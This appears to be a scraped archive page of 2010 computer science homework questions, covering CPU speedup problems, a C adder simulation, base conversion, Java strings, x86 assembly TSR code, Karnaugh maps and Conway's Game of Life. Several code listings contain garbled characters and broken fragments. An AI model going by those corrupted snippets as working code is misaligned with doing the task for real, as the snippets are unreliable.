There it is! Implementing Objects for States using Singleton is, I quote once more, "wrong from a design perspective". He said it himself. The good news is that in this case a better design also means less code and less complexity. But before jumping into the details of why and how, let's leave Mr Singleton for a while and recap the details of Objects for States.
Objects for States recap
Objects for States works by emulating a dynamic change of type and the parts to be exchanged are encapsulated in different states. A state transition simply means changing the pointer in the context from one of the concrete states to the other. Consider a simple, digital stop-watch. In its most basic version, it has two states: started and stopped. Applying Objects for States to such a stop-watch results in the structure shown in Figure 1.
Before developing a concrete implementation, let's investigate the involved participants and their responsibilities:
- stop_watch: Design Patterns defines this as the context. The context has a pointer to one of our concrete states, without knowing exactly which one. It is the context that specifies the interface to the clients.
- watch_state: Defines the interface of the state machine, specifying all supported events. Depending upon the problem domain, watch_state may also implement default actions for different events. The default actions may range from throwing exceptions and logging to silently ignoring the events (the UML note in Figure 1 shows an example of a default action implemented in the start() function that sends a debug trace to standard output).
- stopped_state and started_state: These are concrete states and each one of them encapsulates the behaviour associated with the state it represents.
It depends
Design Patterns includes many examples of good OO designs. An example is its adherence to one of the most important design principles: "Programming to an interface, not an implementation". In fact all patterns in the catalogue, with one notable pathological exception - Singleton, adhere to this principle. Yet there are some subtle nuances to watch out for. Upon state transitions the pointer in the context has to be changed to the new state. The typical approach is to let each concrete state specify their successor state and trigger the transition. This way each state needs a link back to its context.
In its canonical form, Objects for States uses a friend declaration to allow states to access their context object. A friend declaration used this way breaks encapsulation, but that's not really the main problem; the problem is that it introduces a cyclic dependency between the context and the classes representing states. Such a dependency is an obstacle to unit tests and leads to big-bang integrations, although limited to the micro-universe of the context. Fortunately enough it is rather straightforward to break this dependency cycle. The first step is to introduce an interface to be used by the states:
class watch_state; class watch_access { public: virtual void change_state_to( watch_state* new_state) = 0; protected: ~watch_access() {} };
This interface is realized in the context and each state is given a reference to it. A state can now make a transition by invoking change_state_to(). Now, I deliberately didn't write exactly how the context shall implement the interface. From a design and usability perspective public inheritance isn't a good idea; watch_access is a result of our implementation efforts of weakening the dependencies and we really don't want to expose implementation details to clients of the stop_watch.
The perhaps simplest solution is offered by the idiom Private Interface [3]. All there is to it is to let stop_watch inherit watch_access privately. Now a conversion from stop_watch to watch_access is only allowed within the stop_watch itself. That is, the stop_watch can grant controlled access to its states and clients are shielded from the watch_access interface. Or are they really? Well, they are shielded from the conceptual overhead of the interface but there's more to it.
What worries me is that inheritance, private or not, puts strong compile-time dependencies upon the clients of stop_watch. In his classic book Effective C++, Scott Meyers advices us to "use private inheritance judiciously" [2]. Meyers also proposes an alternative that I find more attractive, albeit with increased complexity: declare a private nested class in the context and let this class inherit publicly. The context now uses composition to hold an instance of this class as illustrated in Figure 2. Not only is it cleaner with respect to encapsulation, it also allows us to control the compilation dependencies of our clients as it is possible to refactor it to a Pimpl [8] solution if needed.
Enough of fancy diagrams - let's carve it out in code..
class stop_watch { public: ... private: // Meyers Item 39: Prefer public inheritance // plus composition in favour of private inheritance. class state_controller : public watch_access { ... public: ... virtual void change_state_to( watch_state* new_state) { ... } }; state_controller state; };
With the main structure of the context in place, we're ready to tackle the allocation of states.
A dynamic allocation scheme
Our first approach is to allocate the states dynamically as they are needed. A state transition simply means allocating the new state, wrapped in a suitable smart pointer from boost [4], and passing it to the context. Here's an example on the stopped-state:
// watch_state.h ... typedef boost::shared_ptr<watch_state> watch_state_ptr; // stopped_state.cpp void stopped_state::start(watch_access& watch) { watch_state_ptr started(new started_state); watch.change_state_to(started); }
The started-state has an identical mechanism, but of course it allocates stopped_state as its successor. With the allocation scheme in place we can implement the context, shown in Listing 1, overleaf.
Here we let the stop_watch specify its initial state upon construction:
// stop_watch.cpp stop_watch::stop_watch() : state(watch_state_ptr(new stopped_state)) { }
Our preference of public inheritance in combination with composition over private inheritance leads to an extra level of indirection. We can hide this indirection by overloading operator-> in the state_controller, which makes the context's delegation to the states straightforward:
// stop_watch.cpp void stop_watch::start() { state->start(state); } void stop_watch::stop() { state->stop(state); }
Dynamic allocation of the states is a simple solution, yet it makes several tradeoffs:
Sharing states - the return of the Singletons
With instance variables in the states, dynamic allocation is a simple solution. However, in most applications of Objects for States the state-objects are there just to provide a unique type and do not need any instance variables. Design Patterns describes this as "If State objects have no instance variables [...] then contexts can share a State object" [1]. In their sample code, Design Patterns notes that this is the case; only one instance of each state-object is required, and with that motivation makes each state a Singleton.
After my interview with Mr Singleton I promised to explain why this is the wrong abstraction. The reason is that the responsibility of managing state-instances is put on the wrong object, namely the state itself, and an object should better not assume anything about the context in which it is used. Design Patterns describes a particular case where only one instance is needed. This need, however, doesn't imply a uniqueness constraint on the state-objects themselves that would motivate the Singletons. Further, whether states should be shared or not should be decided in the context. Obviously the Singleton approach breaks this rule and, for all practical purposes, forces all states to be stateless.
To summarize, Singleton leads to:
- an erroneous abstraction,
- unnecessary code complexity,
- superfluous uniqueness constraints,
- and it seriously limits unit testing capabilities.
Clearly another approach would be preferable. However, before sharing any states, I would like to point to Joshua Kerievsky's advice that "it's always best to add state-sharing code after your users experience system delays and a profiler points you to the state-instantiation code as a prime bottleneck" [5].
Going global
When implementing Objects for States the uniqueness constraint of Singleton is actually an unwanted by-product of the solution. So, let's focus on the second part of Singleton's intent: "provide a global point of access" [1]. These are the things programmers speak low about - nobody wants to get caught using globals, yet global variables are more honest about the intent than to camouflage them as Singletons. Consider the following code snippet:
// possible_states.h class watch_state; namespace possible_states{ extern watch_state* stopped; extern watch_state* started; } // stopped_state.cpp #include "possible_states.h" void stopped_state::start(watch_access& watch) { using possible_states::started; watch.change_state_to(started); }
No constraints on the number of possible instances in the states themselves. But who defines them? The context seems like a good candidate:
// stop_watch.cpp namespace{ stopped_state stopped_instance; started_state started_instance; } namespace possible_states{ watch_state* stopped = &stopped_instance; watch_state* started = &started_instance; }
Except for the construction (we have to initialize our state_controller with possible_states::stopped instead of a dynamically allocated state), the rest of the context code stays the same. Any tradeoffs made? Yes, always. Here they are:
In control
Using link-time polymorphism to unit test? Yuck! Not particularly OO, is it? No, it sure isn't, but I wouldn't discard a solution just by that objection. Anyway, what about finally approaching a solution that removes the dependencies between the sub-states? Moving the state management into the state_controller makes it possible.
// watch_access.h class watch_access { public: virtual void change_to_started() = 0; virtual void change_to_stopped() = 0; ... }; // stop_watch.h class stop_watch { ... class state_controller : public watch_access { started_state started; stopped_state stopped; watch_state* current_state; public: state_controller() : current_state(&stopped) { } virtual void change_to_started() { current_state = &started; } virtual void change_to_stopped() { current_state = &stopped; } ... }; ... };
The state_controller allocates all possible states and switches between them as requested by the states. What's left to the states is specifying their successors in abstract terms:
// stopped_state.cpp void stopped_state::start(watch_access& watch) { watch.change_to_started(); } // started_state.cpp void started_state::stop(watch_access& watch) { watch.change_to_stopped();
}
And here we are, finally programming to an interface and not an implementation. Let's look at the resulting context:
A generative approach
The previous solution indicated potential scalability problems; adding new states requires modifications to watch_access and its implementer, state_controller. In my experience this has been an acceptable trade-off for most cases; as long as the state-machine is stable and relatively few states are used (5 - 10 unique states) I wouldn't think twice about it. However, in the ideal world, introducing a new state should only affect the states that need transitions to it. Reflecting upon our last example, although limited to only two states, the pattern is clear: the different methods for changing state (change_to_started(), change_to_stopped()) are identical except for the type encoded in the function name. Sounds like a clear candidate for compile-time polymorphism. The core idea is simple: each state instantiates a member function template with the next state as argument.
// Example from stopped_state.h void stopped_state::start(watch_access& watch) { watch.change_state_to<started_state>(); }
Each member function template instantiation creates the new state object and changes the reference in the context. Something along the lines of:
class X { ... template<class new_state> void change_state_to() { watch_state_ptr created_state(new new_state); current_state = created_state; } };
A quick quiz: in the listing above, what class should X be? The states specify their transitions by invoking methods on watch_access and by means of the virtual function mechanism the call is dispatched to the context. Now, there's no such beast as virtual member function templates in C++. The solution is to intercept the call chain and capture the template argument in an, necessarily non-virtual, member function template, create the new state instance there and delegate to the context by a virtual function (see Listing 2).
Considering the tradeoffs shows that the one step forward in scalability pushed us back with respect to dependency management:
Recycling states
The last example brought us back to a dynamic allocation scheme. However, that knowledge is encapsulated within watch_access and we can easily switch to another allocation strategy. For example, in a single-threaded context static objects are a straightforward way to share states and avoid frequent allocations:
// watch_access.h class watch_access { public: template<class new_state> void change_state_to() { static new_state created_state; change_state_to(&created_state); } ... };
State objects can also be recycled by introducing a variation of the design pattern Flyweight [1]. In fact, Design Patterns links these two patterns together with its statement that "it's often best to implement State [...] objects as flyweights". Does the claim hold true? Let's try it out and see.
First each object is associated with a unique key. The idea is, that the first time an object is requested from the flyweight factory, a look-up is performed. If an object with the requested key already exists a pointer to that object is returned. Otherwise the object is created, stored in the factory, and a pointer to the newly created object returned. The example below introduces a pool for state objects in a flyweight_factory using the unique type-name as key (Listing 3).
The flyweights are fetched from the instantiations of the member function template in watch_access (Listing 4).
The state_controller stays as before because the internal protocol, change_state_to(watch_state_ptr), is left untouched:
Conclusion
As this article has highlighted the problems inherent in a Singleton based Objects for States solution, it feels fair to let Mr Singleton get the final word. After all, if I was successful his career may suffer. Will the two patterns finally be separated?
"I sure hope so", Mr Singleton answers, "Clearly there are better alternatives and if I ever get the opportunity I'm prepared to sacrifice my link in Objects for States in the name of good design."
"That's a great attitude and I'm delighted you take it that way. Speaking of design, any particular solution you would recommend?"
"I don't think you can put it that way. Like all design alternatives each one of them comes with its own set of tradeoffs, which must be carefully balanced depending on the problem at hand."
References
[1] Gamma, Helm, Johnson & Vlissides, Design Patterns, Addison-Wesley, 1995
[2] Scott Meyers, Effective C++ Third Edition, Addison-Wesley, 2005
[3] James Newkirk, Private interface, 1997,
[5] Joshua Kerievsky, Refactoring to Patterns, Addison-Wesley, 2004
[6] Mark Radford, `SINGLETON - The Anti-Pattern!', Overload 57
[7] The complete source code for this article:
[8] Herb Sutter, Exceptional C++, Addison-Wesley, 2000
The Pimpl idiom was originally described by John Carolan as the "Cheshire Cat".
[9] John Vlissides, Pattern Hatching, Addison-Wesley, 1998
[10] Meyers & Alexandrescu, `C++ and the Perils of Double-Checked Locking', 2004,
Acknowledgements
I would like to thank Drago Krznaric, Alan Griffiths, Phil Bass, and Richard Blundell for their valuable feedback.
All of the code for this article is available from my website: | https://accu.org/index.php/journals/1403 | CC-MAIN-2019-47 | refinedweb | 3,064 | 55.24 |
NAME
Create a thread.
SYNOPSIS
#include <zircon/syscalls.h> zx_status_t zx_thread_create(zx_handle_t process, const char* name, size_t name_size, uint32_t options, zx_handle_t* out);
DESCRIPTION
zx_thread_create() creates a thread within the specified process.
Upon success a handle for the new thread is returned. The thread
will not start executing until
zx_thread_start() is called.
name is silently truncated to a maximum of
ZX_MAX_NAME_LEN-1 characters.
Thread handles may be waited on and will assert the signal
ZX_THREAD_TERMINATED when the thread stops executing (due to
zx_thread_exit() being called).
process is the controlling process object for the new thread, which will become a child of that process.
For thread lifecycle details see thread object.
RIGHTS
process must be of type ZX_OBJ_TYPE_PROCESS and have ZX_RIGHT_MANAGE_THREAD.
RETURN VALUE
On success,
zx_thread_create() returns ZX_OK and a handle (via out)
to the new thread. In the event of failure, a negative error value is
returned.
ERRORS
ZX_ERR_BAD_HANDLE process is not a valid handle.
ZX_ERR_WRONG_TYPE process is not a process handle.
ZX_ERR_ACCESS_DENIED process does not have the ZX_RIGHT_MANAGE_THREAD right.
ZX_ERR_INVALID_ARGS name or out was an invalid pointer, or options was non-zero.
ZX_ERR_NO_MEMORY Failure due to lack of memory. There is no good way for userspace to handle this (unlikely) error. In a future build this error will no longer occur. | https://fuchsia.dev/fuchsia-src/reference/syscalls/thread_create | CC-MAIN-2021-04 | refinedweb | 211 | 60.51 |
Open Source Your Knowledge, Become a Contributor
Technology knowledge has to be shared and made accessible for free. Join the movement.
"Kotlin".plus("Vert.x").plus("Gradle")
Disclaimer: My articles are published under "Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)".
Feel free to share.
Since I’m really interested in Reactive Programming and also love to use Kotlin, I decided to use Vert.x in combination with Kotlin in a simple example application. This post will give some basic information on Vert.x as a tool set for writing reactive applications on the JVM as well as some words on Kotlin. In the end, I want to demonstrate how this application can be set up in Gradle. Of course, this will be just one out of a million possible solutions…
Vert.x
Vert.x isn’t described as a framework, but a "tool-kit" for writing reactive apps on the Java Virtual Machine. As defined in the "Reactive Manifesto" (Published on September 16, 2014) "Reactive Programming" is some kind of architectural software pattern, which tries to solve today’s requirements on modern software applications. More precisely, reactive applications are expected to be "more flexible, loosely-coupled and scalable", "easier to develop", and finally "highly responsible", which indeed sounds desirable, doesn’t it?
As one important implication, these applications need to be message-driven, which means applications only communicate via asynchronous, non-blocking messages. Vert.x in particular applies to the Manifesto and provides a great toolset that allows us to develop reactive software quite easily.
Tip
One important thing to mention: Vert.x is "polyglot", i.e. it can be used with multiple languages including Java, JavaScript, Groovy, Scala, Ruby and Kotlin.
It is also modular, very fast and yet very lightweight (~650kB). Altogether it provides a reasonable alternative to other, maybe better known, microservice frameworks.
Kotlin
Kotlin is a pretty new JVM language developed by the great guys of JetBrains, currently available in Version 1.1.50. It is statically typed and fully interoperable with Java. JetBrains' idea in creating this language was to find some kind of alternative to Java, still being compatible to each other. I think every Java developer who has been working with e.g. Groovy or Scala knows that Java requires a lot of boilerplate code for some simple tasks and has quite a few flaws. Kotlin is inspired by Java, Scala, C# and others trying to combine the advantages of these.
Just a few months ago, Google announced Kotlin to be an official Android programming language on this year’s Google I/O conference.
I think it’s time to give some examples of features available in Kotlin, also consider reading my other articles:
Local Variable Type Inference
The following lines of code demonstrate how variables are defined in Kotlin:
var myvar1 = 100 val myvar2 = "text"
The types of
myvar1 and
myvar2 (
Int and
String), are being
inferred behind the scenes for us. The
val implies "read-only", whereas
var can be reassigned.
Data classes
Just think of a Java class
Person, having attributes like
name,
age,
job. The class is supposed to override
Object 's
toString(),
hashCode() &
equals() methods and also provide
getters and setters for each attribute.
data class Person(val name: String, val age: Int, val job: String)
That’s all you need to write in Kotlin - a real time saver.
Null Safety
Well… We all know what a
NullpointerException is - we all hate it.
Kotlin tries to eliminate it by distinguishing between nullable and
not-null types. Guess, what kind is used by default? Absolutely,
the non-null reference type, i.e. a variable of type
String cannot
hold
null. Just for the records, the corresponding nullable type would
be
String?.
This alone would not make a big difference, so using nullable types makes us handle all those NPE-prone cases like we can see here:
The
length call will evaluate to the String’s length if
iCanBeNull is not
null, and to
null otherwise.
String Templates
Another very useful feature anybody will easily understand:
More
The examples shown above are just a tiny, little set of features I really love about Kotlin and wished to find in Java as well. I have been working with Kotlin for a few months now and became a huge fan. I think in the beginning, it will take some time to get comfortable with the Java-unlike syntax, but after some lines of code you’ll expirience so many things, you’ll actually love and do not want to miss anymore…
By the way: Some of the above mentioned language features are available in the long list of "JDK Enhancement Proposals" (JPE), e.g. JEP 286:Local-Variable Type Inference, authored by Brian Goetz.
Finally - The Setup
In the following you can see my Gradle file. What actually happens is:
a. Kotlin is configured to compile for Java 1.8 (we do not need 1.6 support here).
b. Dependencies are added for Vert.x, Kotlin, Logging & Testing
c. We use the
application plugin for building an executable JAR
(Main-Class is added to Manifest)
Tip
My Kotlin-File "Starter.kt" contains the application entry point: the main method. It is being compiled to "StarterKt" and so this has to be my Main-Class
build.gradle.kts
import org.gradle.jvm.tasks.Jar import org.jetbrains.kotlin.gradle.tasks.* val kotlin_version = "1.1.50" val vertx_version = "3.4.2" plugins { application eclipse kotlin("jvm") } tasks.withType<KotlinCompile> { kotlinOptions.jvmTarget = "1.8" } application { mainClassName = "de.swirtz.vertx.standalone.webserver.StarterKt" applicationName = "kotlinwithvertx" version = "1.0-SNAPSHOT" group = "example" } dependencies { compile(kotlin("stdlib", kotlin_version)) compile(kotlin("reflect", kotlin_version)) with("io.vertx:vertx") { compile("$this-core:$vertx_version") compile("$this-web:$vertx_version") compile("$this-web-templ-thymeleaf:$vertx_version") } compile("org.slf4j:slf4j-api:1.7.14") compile("ch.qos.logback:logback-classic:1.1.3") testCompile(kotlin("test-junit", kotlin_version)) testCompile("junit:junit:4.11") testCompile("io.vertx:vertx-unit:$vertx_version") } repositories { mavenCentral() jcenter() } val fatJar = task("fatJar", type = Jar::class) { baseName = application.applicationName manifest { attributes["Main-Class"] = application.mainClassName } from(configurations.runtime.map { if (it.isDirectory) it else zipTree(it) }) with(tasks["jar"] as CopySpec) } tasks { "build" { dependsOn(fatJar) } }
Afterwards you can
build and
run your application.
- ./gradlew build
- ./gradlew run
You can check out my sample code on GitHub. It includes some examples on HTTP routing using Vert.x web, also showing how to work with template engines. | https://tech.io/playgrounds/8112/kotlin-with-vert-x-intro-and-setup | CC-MAIN-2017-47 | refinedweb | 1,079 | 58.08 |
Computer Science Archive: Questions from February 02, 2010
- kuntilanak askedConsider two machines, machine A and machine B. Machine B runsfloating-point instructions 5 times fa... Show more
Consider two machines, machine A and machine B. Machine B runsfloating-point instructions 5 times faster than machine A.
(i) Consider a program that takes 10 seconds to run on machineA, and spends half its time in floating-point instructions. Howmuch faster is machine B (over machine A) at executing thisprogram?
(ii) Suppose we want a benchmark program to run 3 times fasteron machine B than it runs on machine A. What fraction of its timedoes it spend executing floating point instructions on machine A?What fraction of its time does the same program spend executingfloating-point instructions on machine B?• Show less1 answer
- kuntilanak askedAfter graduating you are asked to become the lead computerdesigner at X Computers, Inc. Your study o... Show more
After graduating you are asked to become the lead computerdesigner at X Computers, Inc. Your study of usage of high-levellanguage constructs suggests that procedure calls are one of themost expensive operations. You have invented a scheme that reducesthe loads and stores normally associated with procedure calls andreturns. The first thing you do is run some experiments with andwithout this optimization. Your experiments use the samestate-of-the-art optimizing compiler that will be used with eitherversion of the computer. These experiments reveal the followinginformation:
- The clock rate of the un-optimizedversion is 5% higher
- 30% of the instructions inun-optimized version are loads or stores
- the optimized version executestwo-thirds as many loads and stores as the un-optimized version.For all other instructions the dynamic execution counts areunchanged.
- All instructions (including loadsand stores) take one clock cycle
Which is faster? Justify your decision quantitatively.• Show less3 answers
- PurpleBoss2388 askedconsists of 32 full adder... Show morewrite the code in C. we are simulating a 32-bit adder. Since a32-bit adder
consists of 32 full adders in sequence, it makes sense to write aprocedure that simulates the full adder gate-by-gate, then callthis procedure 32 times. Declare integer arrays a and b of 32 bitseach, to represent the inputs, and read their values from stdin.Let a[0] and b[0] be the least significant places. Input and outputshould be in standard notation, with the least significant place atthe far right; this means that the last number you read goes ina[0] (or b[0]) and the first number goes in a[31].
Define the function
void full_adder(int carry_in, int a, int b, int *sum, int*carry_out)
The inputs and outputs are self-explanatory. This function shouldcontain a &&, || or ! for each gate on the chip. Write aloop that calls the function thirty-two times, passing the carriesup and saving the sums in another 32-bit array. You may need aspecial case for the carry out of the highest place. Print the 32bit answer and announce overflow. Your input and output
should look like this:
input a: 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 1 1
input b: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 1
answer: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0
overflow!
We have added one to the biggest number we can represent. Note thatwe are not yet concerned with two's-complement representation --all numbers are positive.
• Show less10 answers
- Anonymous askedNormalization is a complex process but it’s a factor for successful database design" Justify t... More »1 answer
- Anonymous askedWhat may be the possible consequences if awrong/incompatible data structure is selected for anap... Show more• Show less1 answer
- Anonymous asked
Wrapper classes, Character testing andconversion, String objects, StringBuilder, Tokenizing Strings... Show more
Wrapper classes, Character testing andconversion, String objects, StringBuilder, Tokenizing Strings
In this exercise, we start text processing using string objectsand tokenizers, and explore wrapper classes, also. I need helpwriting a method that accepts a String object anddisplays its contents backward. Forinstance, if the string is “gravity” the method shoulddisplay “ytivarg”. I need to demonstrate the method ina program that asks the user to input a string and then passes itto the method. (Any explanations also appreciated)• Show less2 answers
- Anonymous asked1 answer
- Anonymous askeds a factor for successful database design" Justify thissta... Show more
Normalization is a complex process butit’s a factor for successful database design" Justify thisstatement
• Show less1 answer
- Anonymous askedDiscuss your personal experience regarding thestatement, "Windows programming is cumbersome / diffic... Show moreDiscuss your personal experience regarding thestatement, "Windows programming is cumbersome / difficulttask".
• Show less0 answers
- Anonymous askedRendering is a process ofgenerating two dimensional image from a three dimensional modelusing its sc... Show more
Rendering?• Show less0 answers
- Anonymous asked0 answers
- Anonymous askedThe program should be able to handle output of up to 99 characters, and sh... Show morex.Hm_caveats">Caveats
The program should be able to handle output of up to 99 characters, and should have at least 4 digits of precision after the “.”. (I refrain from calling it a “decimal point” because it is only a “decimal” point in base 10!)
It needs to handle base 2 up to base 36 (0-9 and A-Z).
It should be able to handle uppercase and lowercase letters for input.
You may assume that all input will be valid. (I.e. It need not check for errors such as: two decimal points, incorrect characters, or characters that aren’t numbers.)
You may assume that all fractions will have leading digits. (I.e. "0.321" might be tested, ".135" will not.)
You need not handle negative numbers.
It is ok to print unnecessary digits after the “.” (For example, 1.3000 is ok)
Errors of .0001 are acceptable, and it turns out to be very difficult to work around this issue in this assignment. We’ll see why in a few weeks!
Input should come from the command line, all of which is handled by the code given to you. Here are some sample runs of a working version of the program:
(~/cs2021) % ./convert_base c0ffee 16 10c0ffee (base 16) = 12648430 (base 10)(~/cs2021) % ./convert_base 2ff.ea 16 102ff.ea (base 16) = 767.914 (base 10)(~/cs2021) % ./convert_base 2.75 10 22.75 (base 10) = 10.11 (base 2)(~/cs2021) % ./convert_base 10.11 2 1010.11 (base 2) = 2.7499 (base 10)
2.2.1 convert_base.c
This file is where you will write all of your code. Do not change main, but understand what it does: It takes arguments from the command line, passes them into the convert function, then prints the result. The convert function takes three strings (char*s) as arguments, and returns another string.
Please heed the advice in the code comments: Add any other functions that you need, keep code clear and explain where necessary. This may not be a software design course, but that doesn’t mean I won’t take points off for messy code.
2.2.2 readme.txt
Along with you source files, submit a file named readme.txt that contains the names and IDs of all students who worked on the assignment.
3 Tips
codeint i = 0;
A file called Makefile is included in the .tar.gz file. Use the Makefile to compile your program by typing make on the command line rather than using gcc with all its arguments.
Included in the Makefile is a list of tests. To run the tests, type make test at the prompt. This list of tests is not equivalent to the tests I will run to test your programs, but it is a good representation of the type of things I’ll test.
It is perfectly legal to use any code that we present in discussion or lecture. We may supply you with some helpful code hints.
int b = 0;
int b2;
int input_int;
int output_int = 0;
char output[100];
int result = 1;
if (mBase1 == "10"){
while(input_int > 0){
output_int += (remainder_calc(input_int, b2) * exponent(10, i));
input_int = (input_int / b2);
i += 1;
}
else if (b > 0) {
}
else {
}
// As an aside, I expect you all to use Good Coding Techniques (TM)
that
// you ought to have picked up in 1901 and 1902.
// Thus:
// Is the function getting too long? Write another function.
// Is the code really messy? Clean it up.
// Can't clean it up? Write comments explaining what it does.
// Having trouble? Ask the TAs, sooner rather than later!
return NULL;
}
int exponent(int x, int t){
result = 1;
while (t > 0){
result = result * x;
t--;
}
return result;
}
int div(double x, double y){
result = 1;
int remainder = remainder_calc(x, y);
result = ((x - remainder) / y);
return result;
}
int remainder_calc(double x, double y){
while (x >= y){
x = (x-y);
}
return x;
}
/**************************
* main function
***************************/
int main(int argc, char* argv[]) {
/* Check for proper number of arguments */
if(argc < 3) {
printf("Usage: %s input frombase tobase\n", argv[0]);
return 1;
}
/* name command-line args */
char* tInput = argv[1];
char* tFromBase = argv[2];
char* tToBase = argv[3];
/* call convert function */
char* tOutput = convert(tInput, tFromBase, tToBase);
/* print result */
printf("%s (base %s) = %s (base %s)\n",tInput, tFromBase, tOutput,
tToBase);
return 0;
}part 2
#include <stdio.h>int input_int = 32;int output_int = 0;int b2 = 8;int i = 0;int result = 1;int test;int exponent(int x, int t){result = 1;while (t > 0){result = result * x;t--;}return result;}int div(double x, double y){result = 1;int remainder = remainder_calõ )x.Hm = ((x - remainder) / y);return result;}int remainder_calc(double x, double y){while (x >= y){x = (x-y);}returnù x.Hm(){while(input_int > 0){output_int += (remainder_calc(input_int, b2) * exponent(10, i));input_int = (input_int / b2);i += 1;}printf0 answers
- Anonymous askedDifferent OperatingSystems Implemented Virtual Memory Techniques .Which is the best inyour view argu... More »0 answers
- Anonymous askedNormalization is a complex process but it’s a factor for successful database design" Justify t... More »1 answer
- Anonymous askedThe volume and their size mayvary for FAT 12 or FAT16 file systems. How can the volume with midor la... Show more
The volume and their size mayvary for FAT 12 or FAT16 file systems. How can the volume with midor large level space be managed by the same FAT system wherethe number of entries in file control block (FCB) for FAT 12 or 16are limited.• Show less0 answers
- Anonymous askedThe volume and theirsize may vary for FAT 12 or FAT16 file systems. How can the volumewith mid or la... Show moreThe volume and theirsize may vary for FAT 12 or FAT16 file systems. How can the volumewith mid or large level space be managed by the same FAT systemwhere the number of entries in file control block (FCB) for FAT 12or 16 are limited. • Show less0 answers
- Anonymous asked“Requirementelicitation techniques like interviews, questionnaire, surveys etcare taken from multi... More »0 answers
- Anonymous asked" to the outp... Show moreI have to creat a program that asks the user for their nameand then print "Hello <name>" to the output. I amsupposed to also have a buffer that is at least 80 charachterslong. I have no experience with asm programming and need helphow to organize these requirements. I was given a templateand have modified it slightly to ask for user name, but that is allI can do without some help. Here is the program I have towork on.
; ProjectI will rate ASAP if someone can help me along on how toaccomplish this code.• Show less0 answers
- Anonymous askedDifferent Operating Systems Implemented Virtual Memory Techniques .Which is the best in your view ar... More »0 answers
- Anonymous askeds a factor for successful database design" Justify thisstat... Show moreNormal
- AnnoyedCoffee9 asked2 answers
- Anonymous askedWhat may be the possible consequences if awrong/incompatible data structure is selected for anappli... Show more"What may be the possible consequences if awrong/incompatible data structure is selected for anapplication?" • Show less0 answers
- Anonymous asked1 answer
- Anonymous askedFor the following equation, construct the Karnaugh map, groupterms, and generate an equivalent minim... Show moreFor the following equation, construct the Karnaugh map, groupterms, and generate an equivalent minimal equation.1 answer
- Anonymous askedx.Hmte a TSR that enables mouse, display mouse cursor and also tracks mouse position (X, Y coordinat... Show morex.Hmte a TSR that enables mouse, display mouse cursor and also tracks mouse position (X, Y coordinates). You have to change example 9.7 (display tick count on the top right of screen) such that it displays cursors horizontal and vertical position on the top right corner of the screen. You have to write mouse routine instead of timer and change printnum routine in such a way that it takes 2 parameters from stack (First parameter is cursor coordinate to be displayed and second parameter is the screen position where it should be displayed). X, Y coordinates should be separated by comma.For your Convience I also provide the example below which is to be changed.
; display a tick count on the top right of screen
[org 0x0100]
jmp start
tickcount: dw 0
; subroutine to print a number at top left of screen
; takes the number to be printed as its parameter
printnum: push bp
mov bp, sp
push es
push ax
push bx
push cx
push dx
push di
mov ax, 0xb800
mov es, ax ; point es to video base
mov ax, [bp+4] ; load number in ax
mov bx, 10 ; use base 10 for division
mov cx, 0 ; initialize count of digits
nextdigit: mov dx, 0 ; zero upper half of dividend
div bx ; divide by 10
add dl, 0x30 ; convert digit into ascii value
push dx ; save ascii value on stack
inc cx ; increment count of values
cmp ax, 0 ; is the quotient zero
jnz nextdigit ; if no divide it again
mov di, 140 ; point di to 70th column
nextpos: pop dx ; remove a digit from the stack
mov dh, 0x07 ; use normal attribute
mov [es:di], dx ; print char on screen
add di, 2 ; move to next screen location
loop nextpos ; repeat for all digits on stack
pop di
pop dx
pop cx
pop bxpop axˆxHmx.õÐ.Ð.Q¯x.Hm • Show less
pop es
pop bp
ret 2
; timer interrupt service routine
timer: push ax
inc word [cs:tickcount]; increment tick count
push word [cs:tickcount]
call printnum ; print tick count
mov al, 0x20
out 0x20, al ; end of interrupt
pop ax
iret ; return from interrupt
start: xor ax, ax
mov es, ax ; point es to IVT base
cli ; disable interrupts
mov word [es:8*4], timer; store offset at n*4
mov [es:8*4+2], cs ; store segment at n*4+2
sti ; enable interrupts
mov dx, start ; end of resident portion
add dx, 15 ; round up to next para
mov cl, 4
shr dx, cl ; number of paras
mov ax, 0x3100 ; terminate and stay resident
int 0x211 answer
- Anonymous askedWrite your full name in ASCII, using an 8 bit code (a) withthe leftmost bit always 0 and (b) with th... Show moreWrite your full name in ASCII, using an 8 bit code (a) withthe leftmost bit always 0 and (b) with the left most bit selectedto produce even parity. Include a space between names and a periodafter the middle initial.Shannon M. Cummingsmy answer:Even : 01I'm not sure.S 01010011h 11101000a 01100001n 11101110n 01101110o 11101111n 0110111010100000M 01001101. 1010111000100000C 11000011u 01110101m 11101101m 01101101i 11101001n 01101110g 11100111s 011100110 answers
- Anonymous askedThe Game of Life is a mathematical game and computer simulati... Show moreimplementation of Conway's Game of Life
The Game of Life is a mathematical game and computer simulationdevised by John Conway. It
simulates the behavior of populations following simple rules. Lifeis played on a grid of cells. Each
cell can be either dead or alive. The game progresses in a seriesof iterations, called generations. In
each generation, the value of a cell (whether it is alive or dead)is determined by the value of that cell
and its eight neighbors (cells that are directly horizontally,vertically, or diagonally adjacent) in the
previous generation, using the following rules:
If a living cell has less than 2 living neighbors, it will die (ofloneliness)
If a living cell has more than 3 living neighbors, it will die(it's overcrowded)
If a dead cell has exactly 3 living neighbors, it will come to life(it is born)
Otherwise, the cell's value will not change
public class Conway implements RuleSet {
/**
* Applies the rules of Conway's Game ofLife.
* @param neighbors The neighborhood of thecell.
* @return true if the cell should be alivein the next generation.
*/
public int applyRules(int neighbors[]) {
return 0;
}
}
/**
* BoardList is used to hold a list of boards. It can beused to keep track of the history of a game.
*/
import java.util.LinkedList;
public class BoardList {
private LinkedList<GameBoard>boardList;
/**
* Construct an empty list of boards.
*/
BoardList() {
boardList = newLinkedList<GameBoard>();
}
/**
* Get a board from the list. Boardsare indexed starting from 0, and going to size()-1.
* @param i the location of the board inthe list
* @return the requested board
*/
public GameBoard get(int i) {
return boardList.get(i);
}
/**
* The current size of the list.
* @return The number of boards in thelist.
*/
public int size() {
return boardList.size();
}
/**
* Append a board to the list.
* @param board the new board.
*/
public void append(GameBoard board) {
boardList.add(board);
}
/**
* Remove the oldest element from the boardlist.
*/
public void deleteOldest() {
boardList.remove(0);
}
}
